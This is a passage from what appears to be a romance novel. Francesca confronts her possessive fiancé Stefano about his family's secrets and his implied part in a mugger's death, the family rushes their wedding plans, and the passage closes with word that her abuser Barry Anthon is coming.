Francesca took a breath, striding down the hall. "Honey, I've got to go. I'm late. I'll text you when I get to work." She burst out of the hall and was nearly all the way to the elevator before she allowed herself to "see" Stefano had company. "Oh. I'm sorry to interrupt you." She flashed a fake smile at Eloisa and took the four steps to the elevator and summoned it with a stab of her finger.
"Francesca," Stefano called out, and took a step toward her.
Fortunately the doors opened and she stepped into the lift and hurriedly closed the doors on his face. He knew. He knew she'd heard everything. It was written on his face. She didn't care. She practically ran out of the hotel. To her dismay Emilio and Enzo were waiting for her. Emilio opened the door of the car and she slipped inside, praying Stefano wouldn't call him until after he'd gotten her to work. Her fiancé still had his mother to deal with, and she hoped that took a very long time.
# CHAPTER NINETEEN
Francesca resolved not to do anything rash. Stefano had been good to her. There was always honesty in his touch. In his voice. She stuck her thumbnail between her teeth and chewed at it, trying to get past the hurt. She had never felt good enough for Stefano. That wasn't on him—it was on her. Tears burned so close, but she didn't dare shed them. Any moment Emilio's or Enzo's phone would ring and Stefano would order them to turn around and bring her back. A little hysterically she made up her mind to jump out of the car if that happened. She wasn't going back . . . not until she'd had time to think this through.
She could go to Joanna's for the night. Just sit quietly where Stefano's overwhelming, intimidating presence wouldn't color her judgment. Her finger dropped down to the ring he'd given her. So beautiful, like him.
The car pulled up to the curb and she was out before either of her bodyguards could exit. She didn't look at either of them, but rushed into the safety of the deli. Pietro waited behind the counter. He looked up when she entered, a strange look on his face. He was already filling the cases.
"I'm sorry I'm late," she apologized hastily, rounding the counter, more to keep Emilio and Enzo from being able to herd her back out to the car. She glanced out the window. Sure enough, Emilio was on his cell, his eyes on her through the glass. Her heart began to pound. She clenched her teeth. She wasn't going to be pushed around.
"You have the day off today, Francesca," Pietro announced unexpectedly. "I won't need you."
She froze, her hand going to her throat in a defensive gesture. Barry Anthon had made his move. "Pietro," she began. "Whatever he told you, it's just not true. You've gotten to know me . . ." She wouldn't beg. She just didn't expect Joanna's uncle to take Barry at his word without at least giving her a chance to defend herself.
"Girl, what are you talking about? Your man called, and he needs you today. I have no problem calling in Aria or anyone else if Stefano needs you. You work hard, Francesca. I didn't expect you to stay on after you got engaged and I really appreciate that you did, so a day or two off here or there isn't a problem."
Stefano had called him. The relief that it hadn't been Barry was enormous, but she still wasn't going to let Stefano push her around. The door opened and Emilio and Enzo entered, both standing just inside, arms crossed over their chests.
"Let's go, Francesca," Emilio said. "Stefano wants you home."
Her chin went up. How _dared_ he order her home. "I don't particularly care what Stefano wants right now, Emilio. I'm working." She turned to Pietro. "If you don't want me working right now, that's fine. I've got other things to do." She had no idea what those other things were, but she'd think of something.
"Francesca." Emilio straightened, looking every inch a true Ferraro. He might not have the same last name, but he could be intimidating when he chose. There was a warning in his voice.
"No." She was adamant. "I'm not going back there. Pietro? Do you need me today or not?"
Pietro hesitated, glancing uneasily at Emilio and Enzo. She immediately wished she hadn't put him in such a position. She put a conciliatory hand on his arm. "I forgot you said you already called Aria. That's great. I had some things I wanted to do anyway. It will give me time to get them done."
Pietro looked relieved and he patted her. "Talk to Stefano first, Francesca. Whatever is happening between you, trust him to clear it up."
Trust. It really boiled down to trust. That—and her insecurities. Still, she wanted to take some time to think things all the way through. That shouldn't be asking too much, even from a very decisive man like Stefano.
She nodded at Pietro, gave him a cheerful little wave and marched right between Emilio and Enzo. Enzo got the door for her and she turned away from the car, toward Lucia's Treasures. She really liked Lucia and Amo. She loved the clothing they sold. It was far beyond her pocketbook, but looking was always fun.
Enzo stepped in front of her and Emilio came up behind her, boxing her in, close to the side of the building.
"Francesca, get in the car," Emilio said.
"It's not going to happen." She found herself seething, grateful for a target. "Stefano Ferraro doesn't tell me what to do. He doesn't own me."
Enzo shook his head. "Babe, don't fight battles you can't win. Pick them with him. Whatever happened this morning to upset you both needs to be worked out."
She glared at him. "First of all, it's no one's business what happened this morning. Second, I have every right to work things out in my own way. And I'm going to do just that." She took a step to get around him and he blocked her with his much larger body, cutting her off so she was pushed almost entirely up against the wall. "Step back. You can't force me to go with you."
Enzo glanced at Emilio and then to the street. Francesca followed his gaze and her heart sank. Of course they were just buying time, arguing with her, and she fell right into their trap. Stefano stalked toward them, looking every inch a dangerous, prowling predator. He walked right up to Francesca, up close, crowding her body, one arm wrapping possessively around her waist and pulling her in tight to his side. Locking her with enormous strength to him so there wasn't a doubt in her mind that if she struggled, he'd subdue her immediately and easily.
"Thanks Emilio, Enzo." Stefano nodded to them and turned her away from the car and began walking in the direction she'd chosen to go, taking her with him. "You didn't stick around to let me explain. Were you running from me?"
She couldn't tell if there was a note of hurt in his voice or not. His tone troubled her, and she glanced up at his face. His mask was in place. The scary one.
"No. I was trying to sort things out in my head."
He stopped abruptly and caught her chin in his hand. "You want to sort out a problem with me, _dolce cuore_ , you do it _with_ me."
"I had to go to work," she muttered, because he might have a point.
"Bullshit, Francesca. You heard the crap my fucking mother spouted, you were hurt and didn't understand half of what she said and you ran like a rabbit."
She glared at him. "I did not. I was hurt, yes. And you're right. I had no idea what she was talking about when she said I was a 'rider' and that you took the first one to come along. Or that you'd have to settle for a marriage of convenience if you didn't marry me. None of that made sense." The only thing that she'd really understood was that Stefano had lost a sibling—one he loved—and he blamed his mother.
"Tell me about your brother," she prompted.
He took a breath, his face darkening. His jaw set. His eyes were alive with pain, but his features remained an expressionless mask. He began walking again, Francesca tucked tightly to his side. For a long while she was certain he wouldn't respond. They'd walked an entire block, past Lucia's Treasures and Petrov's Pizzeria, and then halfway down another block before he cleared his throat.
Stefano's arm tightened until she almost couldn't breathe, but she didn't protest. Instead, she rested her palm on his very ripped stomach. Beneath his three-piece pin-striped suit, she felt his muscles ripple. Emilio and Enzo trailed them, close enough to help if trouble presented itself, and a discreet enough distance away that Stefano and Francesca could talk in private. They also were able to discourage others from going up to Stefano and Francesca just by shaking their heads. She was vaguely aware of them and what they were doing, but mostly, she concentrated on Stefano, willing him to talk to her.
"Ettore was born eleven months after Emmanuelle. In our family it is necessary to have several children. My mother wasn't—isn't—the mothering type. She didn't want children, and she certainly didn't want to be married to a man she didn't love. Their marriage was arranged. My father is a man who is very difficult to explain. He has a very large ego. He's good-looking and he knows it. Eventually he began to have affairs. He was discreet, but he had them. He paid no attention to any of us. I think having children cramped his style. If a woman got too clingy, my mother would have a chat with her. Their strange lifestyle didn't leave a lot of room for any of us."
She didn't make the mistake of giving him sympathy. She couldn't imagine growing up that way. Her parents had loved her sister and her. When they died, Cella had stepped up and given her that same unconditional love.
"I saw what my cousins had. Aunts and uncles loving one another and their children. They tried to make it better for me—for us—but they couldn't be in our home 24-7. So I decided that I'd make a home for us."
She knew he had. It showed in the way his brothers and sister reacted to him. Loved him and one another. They were a tight-knit family with Stefano at the helm.
"Ettore had respiratory problems from the moment he was born. He was small and his lungs weren't developed. He was in the hospital for two weeks. My parents went to see him twice. Aunt Rachele and Aunt Perla—you haven't met them yet, only their children—took me every single day to see him. The nurses let me put my hands in the gloves and touch him. Eventually I could hold him." He swallowed hard and looked away from her.
Francesca pressed her hand tighter against his abdomen, matching her steps to his because he'd begun to walk faster. She could see they were headed for a small park in the middle of the neighborhood.
"He just never got strong. My parents were extra hard on him. I told you, we were required to train from age two. They refused to give him more time. Neither spent any time with him, and if they came into contact with him, they were irritated by him. He learned very fast to keep out of their way and my brothers and Emmanuelle took to deflecting their attention immediately if they spotted him."
"I don't understand." Francesca couldn't help but break her silence. "Why would they be irritated by a child?" There was genuine confusion in her voice because it didn't make sense to her. The boy obviously needed love and attention, not annoyance or anger.
"He wasn't perfect, Francesca. In my home, growing up, nothing but perfection was allowed. Our training. Our education. Our ability to speak languages. We had to be not good at everything, but _great_. Ettore tried, but he couldn't keep up. We all tried to help him, tutor him, work with him on physical training, but he was always behind. And the martial arts and boxing took a toll on his body."
"How? Wouldn't that strengthen him?"
He shook his head. "He didn't heal from the inevitable bruises and injuries we got. He was slow at other things, too, things that were necessary in our work. I tried to talk to the parents about him, but they wouldn't listen to me. He was far too sensitive for our kind of work."
She still didn't know what his kind of work was, but if helping out a seventeen-year-old girl who was being horribly abused was anything to go by, she was fairly certain she knew Stefano meant even reading the reports on such things hurt Ettore's heart.
"That's so terrible, Stefano. He should have been protected." She wanted to wrap her arms around him and hold him tight. She knew what it was like to experience loss. Stefano obviously loved his brother very much. More like a parent with a child than a sibling.
"He should have been, but when he was sixteen, the parents insisted he become active. We got into a terrible fight, but they pulled rank on me. Ettore died. I went to get his body and I carried him home myself. I never allowed them to make a decision regarding any of my siblings after that." There was steel in his voice.
The parents. That was how he referred to the man and woman who had given him life. Stefano loved family. Her fingers curled in his vest, and she turned her head to press a kiss into his side, regardless of the fact that they had a lot more things to work out. Her heart ached for him. She had to blink away tears of sympathy and swallow the terrible lump that had formed in her throat.
He looked down at her bent head. " _Amore mio_ , you are far too soft to be without my protection. When you're upset or hurt, or you don't understand, trust me. Talk to me. We're going to be together a lifetime, and I don't ever want you to be afraid or hurt and not come to me. You'll hear a lot of ugly things."
They had entered the park and he guided her toward a bench. The rain had left everything looking brand-new and shiny. He halted, stepping in front of her, tipping her face up to his. "We live our lives in the spotlight quite a bit of the time and it's necessary. People can be very ugly. You have to trust me to look after you and protect you. You have to let us." His thumb slid over her lower lip and then brushed back and forth over her chin.
"I didn't run away, Stefano," she denied softly. "I just needed time to process."
He nodded as if in understanding. "You can't possibly process without having the facts, Francesca." His fingers curled around the nape of her neck, his thumb sweeping her cheek as if he couldn't get enough of her skin.
"It was a shock to hear the things she said."
"I'm certain that's true, _bambina_ —she is very judgmental and demanding. Above all, she wants the Ferraro name pure."
Her heart clenched hard in her chest. So hard it was painful. She had enough scandal tied to her name to sink an entire continent of Ferraros.
Stefano cupped her face gently in his palms, bending so that his forehead touched hers, breathing her in. Breathing for both of them. "We manage to create enough scandal ourselves without our women worrying that they might not be good enough. I love you. I love everything about you. You make me happy. It isn't because you're a rider—it's because you're you."
She swallowed hard. There it was. The "rider" business. Something about what his mother said was the truth, although she heard the ring of honesty in his voice.
"Did I notice you because you're a rider?" he continued. "Of course I did, _dolce cuore_ —how could I not when so few come our way? But once we connected, once I was that close to you, I knew."
She stepped closer to him, her hands going inside his jacket and under his vest to clutch his shirt. She wanted to touch bare skin, to be absorbed by him. Melt right into him. Since that wasn't an option, she settled for curling her fingers into his shirt and feeling the heat coming off of him. There was a lot of heat.
"Are you going to explain to me what a rider is?"
Stefano lifted his head, his hands sliding from her face reluctantly. He turned her toward the bench, and Francesca sank down onto the wrought iron. It was cold until he sat beside her and pulled her into his arms. He liked being close to her. He insisted on touching her when he was close. She liked that. A. Lot.
"Once I tell you that, there's no going back from it. Eloisa was . . . indiscreet. You should never have heard that term."
"You have a lot of secrets," Francesca observed.
He was silent, something scary working in the depths of his eyes. "Does that scare you?"
"Everything about you scares me, Stefano, but that doesn't seem to matter. I'm still here. I would have worked this out on my own."
"You work things out with me," Stefano said firmly. "It has to be that way," he added hastily when she stirred in protest. "Once you know all the secrets, they have to remain secrets. There's no talking to Joanna or anyone else other than immediate family. We're close for a reason. We depend on one another. We have to. Can you accept that, Francesca?"
"I want a family, Stefano, and I like how yours is so close, so yes, that's an easy one to accept."
The tension hadn't left his body. She could feel it there, coiled and ready to strike to protect him. But from what? Her? Stefano suddenly shifted, one arm going under her knees, the other around her back. He lifted her easily and sat her on his lap, his arms circling her. She recognized the move as aggressive—claiming—rather than sweet. Her heart began to pound.
"In our family it is necessary for someone like me to produce children if at all possible. Those children have to be created with another person like me."
"A rider." She supplied the term he was so reluctant to use.
He nodded. "Yes. Another rider. When I said _children_ plural, I mean we would have to try for a large family." He sighed. "I don't know who I'm kidding. I _want_ a large family, and I want my wife staying home and taking care of them. I want her to get up with me in the middle of the night and change their diapers and feed them. I want her to shower our children with love every minute of the day. I want her to be strong enough to stand up to me and balance my need to keep them all safe."
She understood the tension in him. He'd never had that—not what he wanted for his children. Francesca slid her hand up his chest to stroke the tension from his hard jaw. "Honey, I grew up in a house filled with love. I want nothing less for our children. I don't want someone else raising them. I want family picnics and laughter and trips to the beach that cover all of us in sand that we drag back to our car."
"You'll stay home with them?"
She laughed softly. "And be a kept woman? Seriously, Stefano."
"You'll be my wife. The mother of my children. That means you'll be the heart in our home. Not kept, Francesca, important. The most important of all. I grew up being both mother and father to my siblings. I saw what I wanted for them and for my own children when I visited my aunts and uncles. There was love in their homes. Our children will have to train as I did, but that should be balanced out with love and acceptance. With the ability to recognize each child as an individual with different needs."
She fell in love just a little bit more. How could she not? She heard the longing and need in his voice. He was baring his soul to her. Laying himself on the line. Whatever a "rider" was, it was unimportant next to what he was revealing to her. That was work; this was about his heart and soul. He was giving her that. Stripping himself bare so she knew exactly what he wanted and needed in his life.
"I have to know if that appeals to you, Francesca. I don't want to lose you. I want to give you the world, anything you want. At the same time, you need to know the things most important to me. Our family. You. Me. Our children and my siblings. You'll be the heart for them as well. Can you do that? Am I asking too much of you?"
She heard uncertainty for the first time in his voice. Her man. Strong. Invincible. Arrogant even. Yet he was uncertain when it came to her. He was asking for a home filled with love for his children. For him. For his sister and brothers. Asking if she would be right at the center of that. She knew that position would also put her in charge of the neighborhood, the people he obviously loved and considered under his protection. He would give her those people as well.
"I love you, Stefano. I want to be the mother of your children. I wouldn't know any other way of parenting than to show them as much love as possible. I'll certainly insist on raising them with you. I've worked since I was thirteen years old. I'm not certain I would know how to stay home, but I imagine having multiple children is work in itself. So, yes, I love your idea of a home and family and I am certainly on board with it. However"—she turned his face toward hers and looked him in the eye—"there will be no more telling my boss I'm not working, or telling Emilio and Enzo to bring me home."
He leaned that two inches separating them and brushed kisses from her cheekbone to her chin. "Can't promise that, _amore_. You run away from me like that and I lose my mind. I forget everything but the need to get you back."
She burst out laughing, she couldn't help it. She didn't want to encourage him, but he was just too funny. "You're impossible."
"But very much in love with you, Francesca," he said, framing her face with his hands, looking into her eyes. "I'm so in love with you I can't even breathe without you. I know absolutely, I was born to be your man. Our shadows connected and that truth was there for both of us to see."
It was a beautiful declaration and her eyes burned with reaction. Stark. Raw. He meant every word. She even knew what he meant by their shadows connecting. She'd felt that jolt of urgent chemistry and the rightness of Stefano Ferraro. She often felt emotion when her shadow connected with someone else's, but she'd never felt such a physical and emotional connection as she had when her shadow touched his.
Although he was incredibly possessive and always stating in no uncertain terms that she belonged to him, he hadn't said she was born to be his woman. He had said he was born to be her man. For some reason those words touched her as nothing else could have. She took a breath and let it out. She wanted everything he was offering, no matter how controlling and obsessive he was. No matter how secret their family life would have to be or what a "rider" was.
"I can live with all of it, Stefano, because I suspect I just might have been born for you."
He dropped his chin to the top of her head and just held her in his arms for a long while. She watched the people moving around the park. A few joggers. A couple strolling hand and hand. It was cold and when she shivered, Stefano put her on her feet.
"Let's go home, _bella_. We can spend the day together. Maybe ask the siblings over for dinner tonight. But I just want a restful day. Eloisa always wears me out." He stood up, locked his arm around her waist and began walking back toward the entrance. Emilio followed them. Enzo was nowhere to be found.
Francesca gave an exaggerated sigh. "I don't know about that woman as a mother-in-law, Stefano. She doesn't like me. At. All. In fact, she said she was friends with Barry Anthon's parents." She tried to hide the anxiety in her voice, but she was fairly certain he heard it anyway.
"Don't worry about Eloisa," he assured. "First of all, she isn't anyone's friend outside the family. She's close to her sisters and brothers, but no one else. She doesn't let anyone in. She might know Barry's mother, but she doesn't like her. Margaret Anthon is a society queen. Eloisa, for all her faults, can't take that kind of snobbery. Margaret doesn't touch a single charity unless there's something big in it for her."
"That's a little sad. About your mother, I mean," Francesca pointed out. "That she doesn't have friends. What about Emmanuelle? Surely she's friends with her daughter?"
He shook his head. The car waited at the entrance to the park, Enzo in the driver's seat. Stefano opened the back passenger door for her. Francesca slid onto the cool leather seat, scooting over to make room for her fiancé. Emilio slipped into the front seat.
Stefano shook his head. "Not Emmanuelle. If anything she was nearly as bad with Emme as she was with Ettore. She was incredibly hard on both of them. We all tried to shield them, but during training, we had no real say at all. Emme doesn't ever talk about it, but she keeps her distance from Eloisa and Phillip the way we all do."
There was pain in his voice, and Francesca immediately threaded her fingers through his and brought his hand to her mouth, kissing his knuckles. "Honey, you did your best. Emmanuelle's happy. She loves you and her brothers and cousins. I think she's amazing. You did a good job with her."
"She is pretty amazing," Stefano agreed, pulling her hand to his thigh and holding it there over his solid muscle. "I'm very proud of her. She doesn't have a mean bone in her body, but she can be steel when she needs to be."
"She can fight, too," Francesca said. "You'll have to teach me. She wiped up the floor with the three bimbos."
He raised his eyebrow.
She scowled at him. "Don't pretend you don't remember your three exes. Janice. Doreen. Stella. The horrible threesome with a penchant for doing coke in a bathroom."
"Ah. Them."
"They pled guilty to possession with intent to sell. They have access to high-priced lawyers and yet they took a plea deal. That didn't make sense. They have a good career going . . ."
He shook his head. "They'd been doing more partying than recording, and their last tour was a disaster. Stella was so drunk she fell off the stage, and Janice OD'd right after. The PR people had a nightmare trying to cover that up. Their excesses made them a terrible liability for their label. This last stunt put them over the edge and the label dropped them. Their career is gone."
"Did you have something to do with them losing their label?"
He shrugged. "No one fucks with my woman."
She narrowed her eyes at him. "They were arrested and received a hefty sentence."
He shrugged again and she sighed. She couldn't actually feel sorry for the three women, especially since they'd tried to shove cocaine in her face.
"Emmanuelle beat the crap out of them and didn't even break a fingernail, and she did it when she was in high heels."
He burst out laughing. "You sound admiring. I'll teach you a few moves, _bambina_ , but you'll have bodyguards from now on, even when you go to a restroom. I have a female cousin or two trained in security."
"Of course you do." She rolled her eyes. "Emilio and Enzo have a sister, do they?"
He nodded. "Enrica. I've already asked her to come on board."
"Did you think you might want to consult with me first?"
"I told you, I don't argue. You like that shit and I'm just not going there with you when something needs to be done, like hiring a female bodyguard to watch you everywhere."
"So Emilio and Enzo can go back to looking out for you?" Her tone was just a little shy of challenging him, but she had faith in Emilio and Enzo and wanted them looking out for Stefano, not her.
Stefano laughed again, the notes warm and alluring. The sound washed over her like the sun, bright and warm. She didn't hear him laugh nearly enough and it was disarming. At the hotel, Emilio opened the door for them and Stefano slid out, retaining possession of her hand so that she followed him out of the vehicle and was drawn close. She realized Stefano always did that. He liked her close. She found herself smiling in spite of the fact that he hadn't answered.
In the privacy of the elevator, she leaned into him. "Will your mother call Barry Anthon and tell him where I am? Or ask him questions about me?"
His eyebrow shot up. "You're my fiancée. You have my ring on your finger and I told her in no uncertain terms that we would be married as soon as possible. She understands that, whether or not she agrees or likes it. That makes you family."
"I'm confused, Stefano. She really didn't like me. Won't she try to find a way to stop us from being married? Barry would be her perfect solution."
The doors opened and they stepped into the apartment. "It doesn't work that way, Francesca. Not in our family. Family is family. You protect your family. Close ranks around them. My mother is all about family to the extent of everything else. She would never betray you to Barry Anthon or anyone else. It just isn't done."
She tried to grasp what that meant. The enormity of it. His mother had been so adamant. Clearly, mother and son had major issues. Still, he was absolutely certain she wouldn't call Barry or his mother. "I don't . . ." She trailed off, shaking her head.
Stefano stopped abruptly and tipped her chin up to his. "She would protect you. Physically protect you. Step in front of you if a bullet headed your way. As long as my claim is on you, any one of my family would do so."
She would have done that for Cella, or for one of Cella's children. She didn't want to think that Cella would never have a child for her to protect.
"You have all of us. And Emmanuelle. She'll have children. They all belong to you now, Francesca. Can't you feel that when you're with them?"
"This is all so new to me, Stefano." She'd been beaten down so far by Barry Anthon and his men that she had lost herself. Her strength. Her belief in anyone. His family was so opposite of everything she'd come to believe it was difficult to comprehend that they could be real. "Sometimes I feel like I'm in the middle of a fairy tale and any minute I'm going to wake up and you'll be gone."
He kissed her gently. A brief brush of his mouth over hers. "That's never going to happen, _amore mio_."
She loved the feel of his lips. Soft but firm. Demanding and commanding. Warm and then hot. She could kiss him forever.
"Stop or we'll be right back in bed."
She couldn't help but laugh softly. "Is that a bad thing?"
He shook his head. "Never, but I was a little rough last night. And the night before and all the nights before that. I think your body needs a little time. Besides, I want to spend time with you outside of bed, and you need to eat. You skipped breakfast." That was an accusation.
She shrugged. "I work at a deli. I can always eat there."
"I'm changing. Since we're staying in, I'll go for comfortable. And don't think I didn't notice that you said you _can_ always eat there, not that you _do_."
She laughed and wandered into the kitchen. She liked to cook and she could just as easily fix eggs as call down an order to the hotel kitchen. She had two omelets nearly made when he entered the room in a pair of soft blue jeans and a T-shirt that stretched tightly over his chest. She drew in her breath, allowing her gaze to drift possessively.
"What are you doing?"
"Taking in the awesome sight that is mine." She pushed the omelets onto a plate and carried them to the small, much more intimate table than the one in his dining room. She'd already set it with utensils and napkins.
They ate breakfast together and she found herself enjoying every moment with him. It was easy being with Stefano. Out of the public eye, he was different. He lost his aloof, arrogant demeanor and appeared softer and relaxed. He smiled often and laughed occasionally. He always made her feel as if she was his entire focus. They played chess—he won three games. He worked with her in his training room, teaching her to break out of a choke hold and get away when a very strong man grabbed her wrist. They practiced for an hour, and then he made love to her right there on the floor.
They spent time just talking and then listening to music, dancing together in the living room. His siblings came over and they trained with her watching, shocked at the violence and speed as well as how good they all were. She found their martial arts training to be fascinating and beautiful to watch. She liked that Emmanuelle kept up with her brothers.
They ate together before his family left, and that was fun. Emmanuelle and Ricco helped her make pasta and salad. It was fun and easy, much more so than Francesca ever thought it would be. There was a lot of laughter and teasing, mostly between the siblings, but they weren't shy about including her.
After his family left, Stefano made love to her twice more, both times very gently, once on the floor by the fireplace and the second time on the couch in the living room. In the end, she found herself draped over him, skirt and blouse back on, but her panties and bra nowhere to be found.
She started to move, to look for her underwear, but Stefano pulled her down on top of him, so that she sprawled on his chest and he rolled slightly, tucking them both against the back of the long, wide couch. He caught up the remote and turned on the television. She wasn't much of a television watcher, but she decided that didn't matter. Lying on top of Stefano, surrounded by his unique masculine scent and his incredible, very hard muscles, his fingers playing in her hair, she decided, was the best.
Francesca closed her eyes and let herself drift. Her ear was over his heart. He was warm and his hands in her hair felt soothing. She may have fallen asleep for a time, but she woke when she heard the newscaster's voice on the television set. No, it hadn't been the voice that woke her. Stefano's muscles had contracted, rippled beneath her in reaction, just for a moment, but she was so in tune with him she felt the difference, the alertness immediately.
"In local news, a group of schoolchildren out on a field trip stumbled across a gruesome scene. The body of thirty-four-year-old Scott Bowen washed up onshore. His neck was broken. According to the chief medical examiner, Dr. Aaron Pines, Bowen could have broken his neck when falling into the river." The voice droned on but Francesca was focused on the photograph flashed on the screen. She recognized him immediately. He was the man who had put a knife to her throat. She would have known him anywhere.
"Stefano?" Her hand crept defensively to her throat. She didn't know what she was asking. The two muggers had disappeared, he'd said so, and the last she'd seen of them, Emilio and Enzo were putting them into a car. They'd done the same with Bowen. Now he was dead, his neck broken. She couldn't help herself; she shifted her body weight, intending to slide off of Stefano.
His arms tightened. "Don't. Don't be afraid of me, Francesca. Not ever."
"Did you kill him? Did Emilio or Enzo?"
"No." He was silent a moment, stroking soothing caresses down her spine. "Let me tell you a little about Bowen and his friends before you go shedding any tears for him. They've robbed countless people and each robbery has become more violent than the last. They've put several people in the hospital, people who cooperated with them. It was only a matter of time before they killed someone. No one has been able to stop them, not the police, not even us, and we talked to them. They just kept getting worse."
"So you knew about them before they tried to rob me." She lifted her head to look into his eyes. There was no guilt. No remorse. No expression of any kind. Just cool honesty.
"Yes. But, Francesca, sooner or later, we would have had to deal with them. Someone needed to stop them. They put their hands on you. They put a knife to your throat. That made it sooner."
Her heart skipped a beat and then began to pound wildly. She turned his declaration over in her mind. He _had_ done something to Bowen. To Bowen's friends.
"Bottom line, _dolce cuore_ , that's who I am. When the cops can't do something to protect citizens, it's my turn. You have to decide if you can live with who I am. The real me." His arm was an iron band around her waist, but his hand was gentle as he continued to stroke caresses along her spine.
She heard the note in his voice. Uncertain. He wouldn't change for her. He couldn't. And he was asking her to accept him. Every part of him. She closed her eyes and pressed deeper into his chest. On some level she'd known all along, but still the admission caught her off guard. Could she live with that? With a man who took the law into his own hands? He was always loving with his family, with her, with his neighbors. Over-the-top protective. A little scary. Arrogant. He wanted a home, a wife and children, and she knew absolutely she'd be the center of his universe. She didn't doubt that for a minute.
"You asked me to help a seventeen-year-old girl last night. You knew what that would mean. You knew what you were asking me to do."
She started to protest, but then remained silent. She did. She knew. She'd been a victim of a man, the same man who had murdered her sister. She had no doubt that Barry Anthon would have murdered her if Cella hadn't dropped her cell phone in the mail before she'd returned home. She wanted justice for Cella and the cops would never give that to her. Only a man like Stefano Ferraro.
She took a deep breath and turned her head to press a kiss into his throat, closing her eyes. She'd already committed to him. In her heart, in her soul. Almost from the first moment she'd met him, she'd been mesmerized by him. Once she got to see him, once he'd let her into his world, she'd fallen hard and fast. She'd just known.
There was that first moment she'd been aware of their shadows touching. It sounded crazy but, from the time she'd been a child, if her shadow touched someone else's shadow, she "felt" them. With Stefano that knowledge had been deep and instantaneous. The chemistry had been off the charts. Most of all, she'd known he was a good man in spite of all the evidence to the contrary. She'd fallen and there was no going back.
"I'm in love with you, Stefano," she said softly, "so I live with whatever it is you have to do."
That declaration earned her his body again. This time he started out slow and ended up fast and rough. It was perfection.
# CHAPTER TWENTY
The next two weeks passed in a flurry of activity. Francesca felt as if she'd been swept into a wild wind. Somehow, Stefano had gotten it into his head that her acceptance of him meant they were getting married immediately. To him, "immediately" meant as soon as the paperwork was done. She had no idea how it all happened, only that each day she went to work, somewhere in the middle of the afternoon and sometimes even the morning, Pietro would get a call and she'd find herself in the car with Emilio, Enzo and their sister, Enrica, going to some crazy fitting or consultation.
Emmanuelle and her cousins, along with Eloisa, seemed to be planning the event of the century, something Francesca wasn't at all comfortable with. She tried to talk to Stefano, but he shook his head and just kissed her senseless. Finally, realizing she wasn't going to be able to keep her job and not have poor Pietro calling in substitutes every morning, she gave in to the inevitable, giving her notice, telling herself Stefano hadn't really won that round, even though she knew he had.
In the evening, after a particularly grueling day looking at flowers and talking about colors and ice sculptures, she was grateful to just work in their kitchen, preparing the shrimp pasta Stefano requested. She hadn't seen him for most of the day. He'd been at work and when he came in, he looked tired and unsettled—something she was beginning to recognize when he didn't like a particular report on something. He sat down at the table, taking the chair close to hers, something he always did because his knee could touch her thigh and she was in easy reach.
"You do realize that we're being snowballed into a church wedding and they're planning to have it in another couple of weeks," she began. "Your sister and Eloisa have gotten this thing together so fast my head is spinning."
"Leave it, _dolce cuore_ —there's no way in hell to stop them. Just let them do their thing. We'll show up, get married, party and everyone will be happy. They don't mind doing the work—in fact they want to do it, so if we don't care, let them."
She hadn't thought of it like that. Still. "I thought we'd just go to the courthouse or something."
He kissed her knuckles and then picked up his fork to eat the shrimp pasta. "Not a chance. Not in our family. Why are you nervous, Francesca? I'll be waiting for you at the end of the aisle."
She ducked her head, unable to meet his eyes, torn between smiling at his arrogance, and crying because he had no way of understanding. He had an _enormous_ family. There would be no one sitting on her side of the church. "I'll be walking up the aisle by myself and will probably fall on my face, especially if Emmanuelle has her way and I have to walk in four-inch heels."
His head came up alertly. His gaze slid over her face like the stroke of fingers. Loving. Gentle. Tender even. "Long dress, _bambina_ , that means you can wear any fucking thing you want on your feet. Or go barefoot. As for walking you down the aisle, Emilio asked for that privilege. You don't want him, any of my cousins will be happy to oblige. Enzo and Emilio arm-wrestled or something and the winner asked me. If you prefer Pietro or someone else, just say so."
The idea that Emilio and Enzo had arm-wrestled for the duty of walking her down the aisle made her suddenly want to weep. She had grown very fond of them both. To cover up the emotion threatening to choke her, she changed to the subject that worried her the most.
"What happened at work? There are shadows in your eyes, Stefano." She willed him to answer. She'd already accepted what he did to protect others and she didn't want him to shut her out.
Stefano sighed and reached back to rub at his neck. "The girl I told you about a couple of weeks ago."
"The teenager?" Francesca put her fork down and picked up her napkin, suddenly afraid. _Please, please don't let him say she was dead._
He nodded. "Her name is Nicoletta Gomez. The investigations were completed and it's far worse than I originally thought. I'm going to have to leave tomorrow, Francesca. If I wait too much longer, she might not survive the next attack."
"Then go. Of course you have to go." She stood up and moved behind his chair, sinking her fingers into his tight neck muscles in an effort to ease the tension out of him. "I want you to go."
" _Dio, bella_ , that feels good. But you should know . . ." He trailed off when the elevator door _pinged_ in warning.
Ricco and Taviano entered a couple of moments later. Ricco sniffed the air and went straight to the kitchen, dished himself and Taviano a large bowl of pasta and dragged chairs closer to the table. "Dig in before the others come. We might have a chance at seconds." He grinned at her. "Hey, Francesca, looking good for a bridezilla. I figured your head would be spinning around at this point."
She continued kneading the tight muscles of Stefano's neck and shoulders. "I feel like a bridezilla. I really understand the concept of eloping, but Stefano doesn't get it."
"I always thought the woman wanted the big white wedding and the man was all for eloping," Taviano said, shoveling a heaping forkful of pasta into his mouth.
The elevator _pinged_ again, and this time it was Giovanni, Emmanuelle and Vittorio. Francesca had come to realize that where one sibling was, more were close by. She was glad she'd made a healthy amount of pasta, although there weren't going to be any leftovers for lunch the next day.
Once they were all seated around the table and eating, pouring glasses of wine, she looked closely at their faces. "So what's wrong?"
Giovanni raised an eyebrow. "Why would you think something was wrong? Other than Emmanuelle's really bad taste in lunch dates."
"I didn't have lunch with him and certainly didn't go on a date," Emmanuelle snapped, glaring at her brother. "I ran into him and it was polite to speak, that's all. Stop with the teasing. He annoys the crap out of me."
Francesca knew instantly they were talking about Valentino Saldi. The brothers disliked him on principle, and Emmanuelle disliked him because he was always sarcastic with her. She really hated being called _princess_ and Valentino apparently did it at every opportunity. Emmanuelle sounded annoyed, but a faint blush stole up her cheeks and when her eyes met Francesca's there was pleading there.
"Stop teasing Emme. It isn't distracting me. I know you all didn't show up here for the pasta, so something else is up," Francesca said. "Just tell me."
There was a small silence. Her fingers curled into Stefano's shoulders, holding on for the inevitable blow, because just by the silence, she knew it was coming.
"Barry Anthon is in town and he's on his way here," Ricco announced, his voice calm and matter-of-fact.
Francesca's heart stuttered. Instantly her stomach churned. She pressed one hand to her stomach and the other to her mouth, afraid she'd be sick right there with Stefano's family all sitting around the table, pretending they weren't watching her closely. For a moment her vision actually began to fade and her legs went weak.
Ricco was up instantly, nearly knocking over his chair, his fingers strong on the back of her neck, pushing her head down. "Just breathe. Don't panic on us. Don't give the bastard that."
